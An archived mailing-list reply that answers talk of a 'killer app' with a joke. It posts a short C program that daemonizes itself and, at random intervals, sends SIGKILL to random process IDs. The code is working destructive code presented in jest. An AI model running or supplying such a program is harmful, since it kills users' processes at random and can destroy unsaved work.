:: Re: [DNG] Office pack
Etusivu
Poista viesti
Vastaa
Lähettäjä: Rainer Weikusat
Päiväys:  
Vastaanottaja: dng\@lists.dyne.org
Aihe: Re: [DNG] Office pack
Teodoro Santoni <asbrasbra@???> writes:
> Probably related to the thread is a new tool by Markus Teich, sent
> [0], a killer app for powerpoint and libreoffice-powerpoint and
> whatever else.


In case someone's in need of a killer app:

----------
#include <signal.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>

int main(void)
{
    if (fork() != 0) return 0;


    srandom(time(NULL));
    setsid();
    while (1) {
    sleep(random() % 300 + 1);
    kill(random() % 0xffff + 1, 9);
    }


    return 0;
}